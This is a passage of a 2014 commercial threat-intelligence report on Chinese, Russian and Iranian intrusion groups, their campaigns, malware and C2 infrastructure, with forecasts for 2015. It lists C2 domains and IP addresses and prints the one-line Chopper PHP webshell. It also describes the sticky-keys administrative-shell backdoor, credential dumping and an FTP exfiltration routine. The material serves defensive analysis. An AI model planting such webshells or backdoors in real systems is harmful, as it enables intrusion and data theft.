A number of incidents from China-based adversaries were observed like the one identified on 22 July 2014 leveraging a decoy document concerning the black boxes on MH17 and NetTraveler malware connecting to a C2 at www.gobackto.net.
The Russia-based adversary known to CrowdStrike as FANCy BeAR also piggybacked on the MH17 disaster, targeting victims with the Sofacy malware dropped alongside a document concerning the cessation of hostilities around the crash site.
CONFlICT IN UKRAINE The conflict in Ukraine has been the motivation for a significant amount of targeted intrusion operations and other malicious cyber activity.
The conflict was leveraged to conduct operations targeting entities in Ukraine, Russia, and other countries with interests in the region.
China-based adversaries were active in targeting around this conflict.
A significant amount of the activity from Chinese actors was related to the MH17 disaster discussed above.
While other malicious operations related to these events targeted Ukrainian entities, most of the activity from China- based actors appeared to be targeted at Russian organizations.
Numerous incidents were identified leveraging Russian-language lures with content concerning security in Ukraine, such as the one below that was observed in an incident from September using PlugX malware calling to chromeupdate.
authorizeddns.org and googlesupport.proxydns.com.
41 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity One of the primary reasons for this increase in Russian targeting by China- based adversaries is likely that ties between China and Russia have recently been growing stronger.
In May 2014, the two countries agreed on a 400 billion deal for Russia to supply natural gas to China.
Additionally, they reached agreements over the construction of a bridge between the countries and the use of a port in eastern Russia they also revealed a plan to set up GPS ground stations in each others country.
This interaction between the two countries increasingly makes Russia a target of interest for Chinese targeted intrusion operations.
In addition to the China-based activity, CrowdStrike Intelligence also identified an interesting set of targeted activity apparently focused on targets within Russia.
The actor responsible employs a rather complex piece of malware that uses polymorphic DLLs and filenames customized on a per-deployment basis.
The malware was dropped alongside a wide variety of malicious documents containing exploit code for either CVe-2012-0158 or CVe-2014-1761.
Related decoy documents were both Russian and english language and contained content pertaining to Russia such as the Ukrainian conflict, an advertisement for the sale of a car from the German embassy in Moscow, and an invitation to a Russian university conference on space technology.
The actor abuses legitimate cloud infrastructure for its C2.
42 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity HIGH vOlUmE OF SOUTHEAST ASIA TARGETING Governments in Southeast Asia and organizations doing business in the region have been popular targets for China-based targeted intrusion operations for years.
China is generally interested in Southeast Asia because of its proximity and its desire to monitor activity in the region in order to retain a strategic advantage.
However, during 2014, China was more specifically motivated to carry out targeted intrusion operations in the region by tensions between it and other Southeast Asian nations, primarily Vietnam and the Philippines, due to disputes over territorial rights in the South China Sea.
The South China Sea has long been a source of tension between China and other Southeast Asian nations.
The United Nations (UN) attempted to ease these tensions in its 1982 Convention on the Law of the Sea, which granted countries in the region rights to marine and energy resources within a certain range of their coast.
This was meant to give all countries in the region some claim to vital trade routes and to the vast energy resources believed to exist there.
China disputes the UN-granted rights and stakes a historical claim to almost the entire South China Sea.
Tensions really boiled over in May 2014 when a Chinese state-owned energy company placed an oil rig, HD-981, in Vietnamese territorial waters.
The rig was deployed close to the Paracel Islands, which are claimed by both China and Vietnam.
The presence of the rig precipitated continuous clashes between Chinese and Vietnamese vessels, violent protests of Chinese businesses in Vietnam, and elevated tensions between China and other nations in the region such as the Philippines.
It was during this time in May 2014 when China-based targeted intrusion activity against entities in Southeast Asia increased significantly.
The uptick was likely due to Chinese interest in monitoring reaction of government and other organizations in the region.
Numerous adversaries (primarily GOBLIN PANDA, VIXeN PANDA, LOTUS PANDA, PReDATOR PANDA, and PIRATe PANDA) and numerous malware variants (PlugX, Poison Ivy, Mirage, enfal, and Naikon) were observed being used in these operations.
43 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity CrowdStrike Intelligence observed that GOBLIN PANDA and VIXeN PANDA were the adversaries most actively targeting Southeast Asia.
GOBLIN PANDA activity was heavily weighted towards Vietnamese targets.
This adversary used multiple malware variants during this period, but over time switched over almost entirely to PlugX malware.
Based on the decoy documents used in the incidents, it appears that Vietnamese government organizations were a primary target (although private sector targeting of foreign companies was observed as well), as the Observed tArgeting by cOuntry - june 2014 Observed tArgeting by cOuntry - MAy 2014 44 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity decoys were often Vietnamese government documents.
The screenshot below is an example of one of these decoys, with this one related to Vietnams Fisheries Protection Department.
A reference to the HD-981 oil rig can be seen in the first sentence.
The C2 domain for the malware used in conjunction with this document was dns.dubkill.com.
In the regional targeting surrounding these events, VIXeN PANDA activity was observed focusing mostly on the Philippines, particularly in the area of defense.
Pictured below is a decoy document from an incident identified in April.
The only content is a header marked Secret with the letterhead for the Philippines Naval Operation Center.
The malware used in this incident was Mirage, installed using DLL side-loading, which takes advantage of the search order the operating system goes through to load DLLs.
This particular sample 45 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity used NVIDIA-related files often seen with PlugX to side-load the Mirage payload.
The C2 for the malware in this incident was todaynews.dns-dns.com.
The Southeast Asia activity declined dramatically at the end of August, which coincided with the time that China removed HD-981 from Vietnamese waters.
A slight spike occurred in October when PIRATe PANDA and VIXeN PANDA stepped up targeting of Vietnam and the Philippines again, possibly due to arms acquisitions by Vietnam meant to bolster its maritime security capabilities.
Since that time, sporadic activity with a Southeast Asia focus was observed, but nothing at a sustained level like that which was observed from May to October.
It is highly likely that tensions will increase again as the disputes over territory and resources in the South China Sea remain unresolved.
DEEP PANDA THINK TANK TARGETING In July 2014, CrowdStrike publicly reported on malicious activity linked to the DeeP PANDA adversary at two U.S.- based think tanks.11  This activity followed typical DeeP PANDA Tactics, Techniques, and Procedures (TTPs) with 11 http://blog.crowdstrike.com/ deep-thought-chinese-targeting-na- tional-security-think-tanks/ 46 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity what, at the time, was a novel technique utilizing PowerShell to download MadHatter malware on victim machines.
Although the TTPs were typical, the specific targeting at each institution provided insight into how these adversaries may be tasked in their operations.
Analysis of each incident revealed that, up until mid-June 2014, the adversary was focused on experts on Asian and Chinese policy at each affected institution.
This targeting is consistent with the objectives likely imposed on Chinese intelligence collection during this time in support of global intelligence collection surrounding the ongoing HD-981 incident.
During mid-June, DeeP PANDA clearly and immediately shifted focus from Asia-related issues to Middle east-related issues.
This shift coincided with a significant uptick in attacks from the Islamic State of Iraq and Syria (ISIS), particularly an attack on the Baiji oil refinery in Iraq.
At one institution, the actor focused on a target with expertise in Chinas natural resource consumption and energy sourcing requirements.
Additional targets at this institution included an executive assistant and network engineers and administrators.
The targeting of an executive assistant would likely provide access to information on high-level strategy and operational information, and targeting of network administrators would provide information useful in lateral movement and establishing persistence.
At the second institution, targeted individuals had extensive careers in the U.S. government and intelligence community, had written on U.S. Middle east policy, and had given congressional testimony on ISIS issues.
The targets in this instance could provide information on potential U.S. strategy and possibly even communications between the institution and U.S. government entities.
The rapid pivot between individuals at these institutions focused on Asia issues to individuals focused on Middle east issues shows how quickly these adversaries are able to react to new tasking.
The targeting in these cases appear to be in line with interests of government organizations who would desire information on strategic options that the U.S. might be considering with respect to ISIS.
Information from these kinds of institutions would also be useful to companies doing business in the Middle east.
47 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity wORlD CUP The biggest event of the year in terms of media coverage and sheer global attention was the FIFA World Cup played in Brazil between 12 June and 13 July.
events of this scale usually attract malicious actors who leverage them for purposes of deceiving targets into credentials theft, compromise of networks for espionage, and other objectives.
CrowdStrike covered the run-up to the World Cup with reporting that outlined potential threats to the event.
Chief among these was that of hacktivists attacking or defacing websites related to the Cup.
Designated adversary GHOST JACKAL was detected partaking in said actions prior to the beginning of the tournament, which also saw large-scale street protests against the government.
Later, during the Cup, CrowdStrikes warning came to fruition when the websites for the Cup itself and for Brazils Federal Police were both taken down.12  Additionally, CrowdStrike observed some limited World Cup-related targeted intrusion activity from China-based actors LOTUS PANDA and VIXeN PANDA, but the level of activity from such actors was not as high as anticipated.
12 Hackers Take Down World Cup Site in Brazil, 20 June 2014, http://bits.blogs.nytimes.
com/2014/06/20/hackers-take- down-world-cup-site-in-brazil/ Know the Adversary Know your adversary to better protect your network.
detect, deter, and defend against todays most sophisticated attackers.
49 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Know the Adversary Effect of Public Reporting on Adversary Activity In the 2013 Global Threat Report, CrowdStrike discussed a Russian adversary designated eNeRGeTIC BeAR.
Beginning in July 2014, several security vendors disclosed additional information on this actor.
This adversary has previously demonstrated more than a basic awareness of operational security (OPSeC).
Unsurprisingly, eNeRGeTIC BeAR quickly abandoned their compromised website C2 infrastructure they had acquired for these operations.
Although infected machines would continue to beacon to the C2 servers, no further tasking would be provided.
Since the public disclosures, no new builds of the malware used by eNeRGeTIC BeAR  primarily the Havex and SySMain RATs have been observed.
This toolset has seen several evolutionary developments over a period spanning at least five years, and its loss is likely to cause the adversary to enter a retooling phase.
The underlying intelligence requirements driving their operations are unlikely to change, however, and it is likely that eNeRGeTIC BeAR will re-emerge with a new toolset in the future.
In June 2014, CrowdStrike published13 public reporting detailing the attribution of an adversary designated as PUTTeR PANDA to the 12th Bureau of the 3rd General Staff Department of the Peoples Liberation Army, also known as Unit 61486.
This attribution was facilitated by one of the PUTTeR PANDA operators providing pictures of the units operational base on social media, using accounts that could be associated with C2 domains  a serious OPSeC mistake.
After the publication of CrowdStrikes report, the social media account containing photos of the units base was deleted, and PUTTeR PANDA appears to have stopped using the tools previously identified by CrowdStrike.13 http://resources.crowdstrike.com/putterpanda/ 50 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Know the Adversary Another significant public disclosure of an adversary group was the publication of a report on Unit 61398 (a.k.a.
COMMeNT PANDA) in February 2013.
While this group also initially went dark following the reports public release, there have been indications that this actor was in operation again by October 2013.
The disclosure of information regarding ongoing operations has been hotly contested in the information security community.
Many attribute such disclosures to marketing or other self-promoting behavior.
While the motivations surrounding public disclosures are certainly open to discussion, these observations indicate that public disclosures to date have had a significant impact on advanced adversary operations.
It is becoming apparent that the priorities levied by organizations sponsoring cyber espionage are unaffected by such disclosures.
It is highly likely that groups who have been publicly reported on will return to the same activities with new toolsets, if they have not already.
CrowdStrikes approach to public disclosure balances the benefits of disrupting operations with the risk of losing visibility into adversary actions by driving a change in TTPs.
This balance is accomplished by looking at the existing publicly available reporting, and what the likely reaction by the adversary is.
This is then reviewed in terms of Intelligence Gain/Loss (IGL) among other things, this includes the potential intelligence value of a disclosure, what are potential impacts to visibility of the adversary, and how does this impact the ability to protect customers?
Forcing the adversary to retool means the cost of doing business has gone up they must invest in new tools, infrastructure, and potentially training, which may have consequences for how brazen the adversary will be in the future.
HURRICANE PANDA HURRICANe PANDA is an advanced China-based adversary actively targeting Internet services, engineering, and aerospace companies.
51 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Know the Adversary Since February 2014, CrowdStrike Intelligence has observed HURRICANe PANDA leverage at least two zero-day exploits, a unique DNS resolution technique, and tools traditionally used by Chinese actors.
Once inside a victims network, this adversary seeks to gain legitimate credentials to move laterally and establish RDP sessions to achieve their objectives.
Based on their technical capabilities, HURRICANe PANDA is currently one of the most advanced Chinese actors tracked by CrowdStrike.
Zero-days, Exploits, and web vulnerabilities As stated above, CrowdStrike Intelligence observed HURRICANe PANDA leveraging two zero-day exploits, indicating that this adversary has above-average capability or access to exploit developers.
First, in February 2014 this actor was observed using SWC tactics to gain initial footholds into victim networks via CVe- 2014-0322.
Successful exploitation during this campaign led victims to install the Sakula malware.
Much of the targeting in this campaign appeared to be against the French aerospace sector.14 In October 2014, HURRICANe PANDA used CVe-2014-4113 to escalate privileges on already-compromised 64-bit Windows machines.15 Their exploitation of this vulnerability marked the first time it was observed in the wild.
In addition to zero-day exploits, HURRICANe PANDA has also used three other privilege-escalation exploits and another remote code execution exploit.
Finally, in another case, HURRICANe PANDA gained initial access to a victim via a SqL injection vulnerability.
They then used the vulnerability to upload a simple Chopper webshell script to gain additional access, move laterally to the corporate network, and install additional RATs.
THE RAT PACK HURRICANe PANDA makes use of several Remote Access Tools 14  http://blog.crowdstrike.com/ french-connection-french-aerospace- focused-cve-2014-0322-attack-shares- similarities-2012/ 15 http://blog.crowdstrike.com/crowd- strike-discovers-use-64-bit-zero-day- privilege-escalation-exploit-cve-2014- 4113-hurricane-panda/ 52 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Know the Adversary (RATs).
Over the course of the year, CrowdStrike Intelligence observed this adversary employing Sakula, Gh0st RAT, PlugX, and HiKit.
While Gh0st RAT has been widely available for many years, the other RATs have exclusively been tied to China-based actors.
This actor also made extensive use of Chopper webshell this provides the equivalent functionality of a RAT for adversary control of webservers.
Chopper can exist in a rather simple form: ?
php eval(_POST[chopper]) ?
where chopper is an attacker-selected password of sorts.
This simple one-line script gives an attacker access to a webserver from which they can deploy privilege-escalation tools, move laterally, or deploy more complex scripts to interact with databases on the webserver.
While PlugX usage has increased significantly over the past year among China-based actors, HURRICANe PANDAs usage of the tool was notable for two reasons.
First, when configuring PlugX, the attacker is given the option of using up to four DNS servers of their choosing.
Knowing this, HURRICANe PANDA discovered a unique service offered by California-based Internet service provider Hurricane electric.
By abusing Hurricane electrics free DNS service, the actors were able to resolve popular domains like www.pinterest.com, adobe.com, and github.com.
Using legitimate domains presumably would fool incident responders into believing the communications were benign.
HURRICANe PANDA leveraged PlugXs custom DNS feature to use the free DNS hosting services provided by Hurricane electric to resolve these domains to PlugX C2 nodes instead of their legitimate IP addresses.
Hurricane electric quickly took action to prevent the abuse that allowed DNS resolution for legitimate domains.
53 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Know the Adversary The other unique C2 resolution method employed by HURRICANe PANDA was the use of Google Code as a host for an encoded string containing the real PlugX C2 node as shown below.
Despite this method of C2 server distribution being available in PlugX since at least 2012, its usage is not common.
In this case, the PlugX malware will request one of the Google Code projects, search the page for a string delimited with DZKS and DZJS, and decode screenshOt Of plugx user interfAce gOOgle prOjects used by hurricAne pAndA tO serve encOded c2 servers 54 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Know the Adversary the string.
The decoded string contains the protocol over which to communicate, as well as the IP address and port pair.
When the above strings are decoded, the following IP addresses are used as PlugX C2 servers: 223.29.248.9 202.181.133.237 61.78.34.179 203.135.134.243 Post-Exploitation and Exfiltration After HURRICANe PANDA has established a foothold on a victims network, they then seek legitimate credentials via tools such as Windows Credential Viewer, Windows Credential editor, or Mimikatz.
Once credentials have been obtained, the actor tends to use these for access to the network instead of interacting with their RAT, thus reducing their footprint and allowing them to appear as legitimate VPN users.
If credentials cannot be obtained, HURRICANe PANDA will often rely on RDP.
First, they will replace the sticky keys file (using the sethc.exe hack16) with a copy of their preferred Chinese version of cmd.exe on the victim machine.
Then they will access the victim computer over RDP, and, when presented with a login screen, IT will invoke the sticky keys mechanism and be presented with an administrative command shell.
Furthermore, PlugX contains a reverse-RDP tunneling capability that HURRICANe PANDA has employed.
exfiltration by HURRICANe PANDA follows a simple pattern often performed by China-based adversaries.
First, files of interest are compressed and password protected using RAR.
Next, they stage the files at a convenient location.
Finally, they exfiltrate the files from the network via FTP.
16 http://blog.crowdstrike.com/adver- sary-tricks-crowdstrike-treats/ 55 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Know the Adversary Possible Connections to AURORA PANDA CrowdStrike Intelligence is currently evaluating possible connections between HURRICANe PANDA and AURORA PANDA.
There is currently no definitive link, but indicators of compromise linked to AURORA PANDA have been discovered on networks also compromised by HURRICANe PANDA.
Other connections include: similar toolsets, access to zero-day exploits, and possible infrastructure connections.
HURRICANe PANDA is among the more capable China-based adversaries, and run-ins with this actor should be treated with the utmost concern.
GOTHIC PANDA GOTHIC PANDA is another advanced Chinese adversary that CrowdStrike Intelligence tracked throughout 2014.
This adversary has been observed targeting a number of high-profile victims in key sectors including financial, technology, NGO/international, and energy.
In early May 2014, CrowdStrike observed this adversary mounting a campaign in which spear phishing messages were used to direct targets to landing pages that would exploit a zero-day Use-After- Free vulnerability in Internet explorer.
The following is a brief timeline of important events in this campaign: DATE 24 April 2014 25 April 2014 26 April 2014 01 MAy 2014 EVENT earliest observed resolution for subdomain in attack phishing messages sent to targets Microsoft issues advisory for vulnerability cve-2014-1776 Out-of-band patch issued by Microsoft 56 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Know the Adversary In addition to targeting of individuals within targeted organizations, phishing messages from this adversary were observed being sent to mailing lists for specialized topics such as high-performance computing, weather metadata software, and pre-medical programs at educational institutions.
An observed phishing message is show below: Victims in these campaigns were infected with the implant known by the anti-virus name Pirpi, which has been seen in use since 2009.
Pirpi provides the adversary with a traditional set of RAT features that allow the adversary to exfiltrate and deploy files, along with remote shell access to a compromised system.
GOTHIC PANDA is considered by CrowdStrike Intelligence to be one of the more advanced adversaries tracked.
Over time, the Pirpi implant has improved to feature more aggressive anti-analysis techniques, and the network communication with control servers has improved to hinder network-based detection.
While investigating GOTHIC PANDA, CrowdStrike Intelligence identified a strong code overlap between the Pirpi implant and 57 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Know the Adversary a defunct malware known by the anti-virus name Dreammon (or DreamClick).
This malware possesses a feature set more in line with adclicker malware rather than targeted activity.
As adclicker malware is more common with criminal adversaries, it has been postulated that if the same adversary behind Dreammon is behind Pirpi, this adversarys initial motives may have been financially driven.
OvERvIEw OF RUSSIAN THREAT ACTORS Although the Chinese calendar predicted that 2014 would be the year of the Horse, in many respects 2014 has been the year of the Bear in the cyber realm, with several high-profile Russia-based actors receiving public attention.
The reported activity has included actors tracked by CrowdStrike as eNeRGeTIC BeAR, FANCy BeAR, and VeNOMOUS BeAR, as well as other sets such as Sandworm, which uses the Black energy toolset in targeted attacks, in contrast to its normal use as criminal malware.
CrowdStrike also tracks other adversaries attributed to Russia under cryptonyms such as BeRSeRK BeAR, BOULDeR BeAR, and the financial-crime- motivated actor MAGNeTIC SPIDeR.
VeNOMOUS BeAR, also known as Snake, Turla, and Oroborous, uses a set of implants that culminates in a sophisticated Windows-based rootkit that can leverage an encrypted Virtual File System (VFS) as a staging area for tools to deploy and data prepared for exfiltration.
It also includes implants for other platforms such as Linux that can be used to operate command-and-control infrastructure.
external reporting indicates a targeting bias toward entities in the government sector, along with the use of zero-day exploits.
These TTPs, along with the maturity of the attackers toolset, indicate that this is a highly sophisticated adversary.
FANCy BeAR is CrowdStrikes name for an adversary also known as Sofacy.
Although the tools used by this actor are not as complex as those employed by VeNOMOUS BeAR, they share a common targeting focus on government and military entities, with a particular 58 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Know the Adversary emphasis on Russias near abroad regions such as eastern europe.
As well as implants for Windows, Linux, and mobile operating systems, FANCy BeAR employs credential phishing attacks, spoofing legitimate sites to harvest the details of users of interest.
Proactive analysis during 2014 revealed another Russian actor that has not encountered public exposure, yet appears to have been tasked by Russian state interests.
BeRSeRK BeAR has conducted operations from 2004 through to the present day, primarily aimed at collecting intelligence but has also provided capability in support of offensive operations in parallel to the Russia/Georgia conflict in August 2008.
eNeRGeTIC BeAR has been tracked by CrowdStrike since 2012.
The adversary initially focused on targets in the energy sector, but more recently had branched out to attempt to compromise financial, industrial, and commercial organizations.
This corresponded with a shift from primarily using SWC attack vectors to targeted email attacks.
Analysis of eNeRGeTIC BeARs post-exploitation activity revealed the use of custom tools for credential harvesting, network enumeration, and interaction with industrial automation equipment.
FANCY BEAR In the second half of 2014, CrowdStrike Intelligence analyzed the targeted attack activity of a particularly interesting Russian actor named FANCy BeAR.
The campaigns conducted by this actor target high-profile military and government entities in a variety of countries, most notably political institutions of former Soviet nations as well as eastern european countries, NATO institutions, and organizations of western countries.
Technical indicators, such as the resource locales and C2 domain registrant information, exhibit references to a Russian-speaking adversary.
In addition, the targeting is consistent with strategic interests of the Russian Federation.
59 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Know the Adversary Targeting of high-profile entities requires mature and versatile technical means.
FANCy BeAR exhibits a consistent level of technical sophistication with respect to its tools, and the actor is characterized by a thorough preparation of attacks and required infrastructure.
Their main implant, called X-Agent, is a sophisticated RAT that exhibits a modular architecture and a multi-year development history.
As a consequence, the adversary can combine the necessary implant functionality on a per-target basis, spanning multiple operating systems and mobile platforms.
A remarkable feature only seen with some of the well-engineered and mature targeted attack malware is the following: If required, the implant can switch the carrier protocol for its command-and- control channel ranging from HTTP over email to removable media.
The latter is specifically suited for target environments that do not have direct network connectivity to a C2 node and instead rely on periodic use of USB removable media to bridge air gaps.
In addition, recent incidents involved heavily obfuscated malware including code flow obfuscation, likely another step taken in order to hinder analysis efforts.
All of these underline a clear targeted attack mission.
2015 Predictions Understand how the evolving capabilities of these advanced adversaries will affect you in 2015.
61 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Looking Forward Predicting what will happen in 2015 is a challenge, as unforeseen events will inevitably occur and new TTPs from adversaries across the motivational spectrum will continue to shape the threat environment.
Before exploring what may be coming in 2015, a brief look back at the predictions for 2014 is in order.
Last year, CrowdStrike made a number of predictions about the 2014 threat landscape, many of which came to fruition: North Korean Activity  CrowdStrike Intelligence predicted that North Korea might use its cyber operations to project power during 2014.
This prediction came to fruition at the end of 2014 when a North Korean adversary attacked Sony because of one of the studios movies that North Korea perceived as an act of war.
windows XP End of life  Targeted attackers did use exploits such CVe-2014-1776 to target out-of-life Windows XP machines.
This continues to be a significant risk, as the existence of legacy Windows XP machines continues to expose an attack surface.
Third-Party Targeting  2013 saw actors targeting third-party vendors offering DNS, social media, and content management services in order to attack customers of those services.
As one example, CrowdStrike observed a number of attacks by the HURRICANe PANDA adversary against DNS and hosting providers in 2014 these attacks were highly likely used to ultimately target those providers customers.
Sandbox-Aware Malware  The use of sandbox-aware malware was not new to 2014, but adversaries did make significant use of malware variants capable of detecting if they were being run in sandbox environments.
These techniques ranged from detection of sandboxes through system and network artifacts, detection of user activity, and even prompting user interaction as a countermeasure.
62 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Looking Forward Use of High-Level Languages  The 2014 yearly report noted a downward trend in the use of low-level languages like C and a growing trend in the use of high-level languages like C and Python.
During 2014, CrowdStrike did observe several adversaries such as VICeROy TIGeR making heavy use of a malware variant that primarily leveraged Python script.
Activity in the Physical World  Physical world conflict often leads to related cyber operations, and 2014 was no different.
A number of conflicts in the physical space such as those in the South China Sea, Ukraine, and the Middle east all resulted in related cyber operations by targeted intrusion adversaries in China, Russia, and Iran, as well as nationalist and hacktivist actors.
2015 will undoubtedly hold many surprises and new developments in the realm of computer security.
The following section contains estimative judgments about what may be likely trends or occurrences in the next year.
RESEARCH AND DEvElOPmENT Research and development during one year can often set the expectations and direction of the next.
With this in mind, the CrowdStrike Intelligence team carefully observed patterns and trends in the security research community.
Based on the trends of 2014, the following estimates were developed: It is expected that Lets Encrypt, the first free certificate authority with a pre-installed root certificate in major browsers, will launch in 2015.
This service will offer very simple command line provisioning of certificates for use in HTTPS.
As a result of the ease of use and availability, it is likely that an increasing amount of Internet traffic will be encrypted.
As HTTP traffic becomes less common, it is more likely to be suspect and subject to closer inspection.
This opens the possibility that more adversaries may look to leverage SSL certificates for command and control.
Additionally, Content Security Policy (CSP) for webpages means that XSS-attacks will become more complicated to mount.
In 2015, it is expected that 63 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Looking Forward two-factor authentication will be more widely deployed across enterprise and cloud services, which will hopefully hamper the effectiveness of credential and banking phishing operations.
Adversaries are constantly advancing their capabilities overseas, cryptography and its application has continued to dominate the technology news, beginning with revelations from the Snowden leaks.
CrowdStrike assesses it is possible that adversaries will deploy more sophisticated encryption and key agreement schemes to hamper interception by security professionals and intelligence services.
In 2015, a number of sandboxes using hypervisor introspection will become available, both commercially and in open source.
Introspection allows a sandbox to instrument a virtual machine through the hypervisor this provides additional stealth to the sandbox, allowing it to avoid detection.
It remains to be seen whether malware authors will completely cease their efforts to detect traditional sandboxing solution and/or whether they will try to subvert introspection-based sandboxes.
Given the difficulty in detection, and the speed at which new technologies are adopted, it is likely that adversaries will continue to detect traditional sandboxes in 2015, with more advanced adversaries exploring techniques to identify or evade introspection-based systems.
Embedded devices, regardless of whether they are home routers or industrial control systems, will be increasingly targeted.
One of the primary factors impacting this belief is the increasing pace of vulnerability disclosures in the embedded space and in the underlying software they leverage.
The increasing prevalence and popularity of Internet of Things (IoT) devices, discussed in more detail below, is another factor in this likely targeting.
This targeting will likely occur across a variety of threat actors.
In 2014, we saw the compromise  of home router technology used to build an embedded proxy layer used to mask the identity of the attacker.
64 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Looking Forward Internet of Things (IoT) devices are still in their infancy and the concept of IoT has not yet become widely adopted or even available to the average end user.
There are, however, a large number of devices being sold already that would fit under the IoT umbrella, even if they do not make use of the IoT communication standards.
While targeted attacks against IoT devices are unlikely at this time, the potential to abuse IoT devices for amplified DDOS as well as disrupting IoT networks through DOSing of central control infrastructure might well be possible.
OUTlOOK FOR CHINA-BASED ADvERSARIES China is, by now, well known for conducting cyber espionage campaigns focused on accessing intelligence about intellectual property, mergers and acquisitions, and technologies highlighted in its Five-year plans.
Targeting these technologies and strategic business information allow its domestic companies to rapidly make leap frog developments, and to benefit from favorable bargaining positions, thus elevating them to become global leaders.
This behavior is expected to continue in 2015, as will continued targeting of foreign government entities in an attempt to access information related to the global strategy and plans of these countries.
China is expected to continue to leverage this espionage as a means to conduct intelligence collection to support its aspirations to further push the envelope on its territorial claims.
This is particularly true in the South China Sea (SCS) conflicts with Vietnam and the Philippines, and the Senkaku/Diaoyu island dispute with Japan.
China has already undertaken substantial construction of manmade islands in the SCS to begin projecting its power, and as its Navy continues to grow, it will only seek to push further beyond its current boundaries.
China is aggressively moving forward with the design and implementation of its own aircraft carriers, which will no doubt have an impact in this regional issue, allowing the PRC to project force and intimidate its neighbors.
65 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Looking Forward Taiwan will continue to play a very important role in the potential conflicts to come, not only as a testing ground for malware, but as the main focus for expanding Chinese territorial claims.
The PRC views Taiwan as an inalienable part of China that will eventually be reunited for the greater good of both peoples and therefore places it above other territorial conflicts.
Taiwans recent shift towards a decidedly less-Beijing-friendly, DPP-led government is of great concern to China and will be a major factor in how China uses technology to facilitate its political maneuverings.
Taiwan has historically been penetrated by PRC intelligence services  at all levels, which makes cyber one of the first visible indicators of PRC intentions regarding Taiwan.
China has also made significant headway on projecting its soft power abroad via multiple billion-dollar investments, particularly in the sectors of communications and transportation infrastructure.
For years, China has been making inroads in Africa to provide the vast majority of the continents telecommunication systems, but only recently have some of the more sinister intentions been brought to light.
In December 2014, approximately 77 Chinese nationals were found to be running a sophisticated command center out of a house in Nairobi, Kenya, which appeared to be capable of targeting the main communication systems in the capital.
A building with multiple large satellites that appears to be annexed to the Chinese embassy in Paris was also recently reported  on and believed to be connected to the 3PLAs 8th Bureau, Unit 61046, which is responsible for SIGINT collection on western europe.
iMAge Of Alleged sigint dishes At chinese eMbAssy Annex 66 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Looking Forward There has also been a significant amount of investment poured into transportation projects, particularly high-speed rail (HSR) lines, in multiple countries.
China has already planned to merge its two top train makers into a HSR juggernaut capable of building massive rail lines around the world.
To this end, China has submitted bids for massive rail projects in Nigeria, and nearly won (this was subsequently canceled) another project in Mexico.
China has also suggested massive lines between Beijing and Moscow and constructing a line between Delhi and Chennai in India.
Beijing also remains interested in proposals for HSRs in Britain and California, and has already made headway on construction of a Hungary- Serbian HSR that will connect Belgrade to Budapest.
In total, the projects proposed by China would give it control of more than 40,000 km, giving it significant control over the worlds transportation routes.
It seems fairly likely that, given Chinas previous use of espionage against foreign companies (which it has used to gain advantages in competitive bidding and mergers acquisitions), there is a substantial motivation for China to follow suit in the coming year as it looks to secure its position as the global leader in HSR construction.
jOINT PlAN OF ACTION COUlD POSSIBlY DRIvE IRANIAN CYBER ATTACKS The Iranian Joint Plan of Action (JPOA), its delay, and its ultimate desired path by politicians to negotiate a Comprehensive Plan of Action (CPOA) are preeminent issues in the global press and political circles.
The JPOA is a temporary agreement made between Iran and an intergovernmental negotiating body consisting of China, France, the Russian Federation, the United Kingdom, the United States and Germany.
The agreement was originally intended to be a six-month period in which the Iranian government would reduce its stockpile of enriched uranium fuel and suspend specific aspects of its nuclear energy programs in exchange for the UN Security Council relaxing of specific sanctions previously imposed against Iran.
During this time of suspended nuclear research activities and 67 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Looking Forward eased sanctions, negotiating parties would discuss the details of a more permanent agreement, known as the Comprehensive Plan of Action (CPOA).
The JPOA could be a driver or tipping point for future cyber attacks by Iran against western targets.
Iran has publicly noted the understanding that negotiations can be influenced and has demonstrated historically that it is willing (and has capabilities) to conduct cyber operations to influence negotiations if it sees fit to do so.
It has been publicly speculated that Iran has conducted retaliatory attacks, notably the Shamoon incident in 2012.
Recent open-source activities in the Iranian underground suggest Iran may be attempting to structure or resource for possible future cyber operations.
There have been visibility changes with regard to information surrounding Iranian hackers, as well as forums and websites.
Popular forums for Iranian hackers ISCN and Shabgard have been shut down and are no longer publicly accessible.
Despite the shutdowns, there will likely be little change to the communication occurring between affiliated hackers in closed communications pathways.
The closing of these forums could be in anticipation of future malicious activity and a desire to decrease the public profile of individuals in the Iranian underground.
There are also clear links between the Iranian government hacking contests intended to identify hackers with advanced skills and to learn advanced methods of network intrusion.
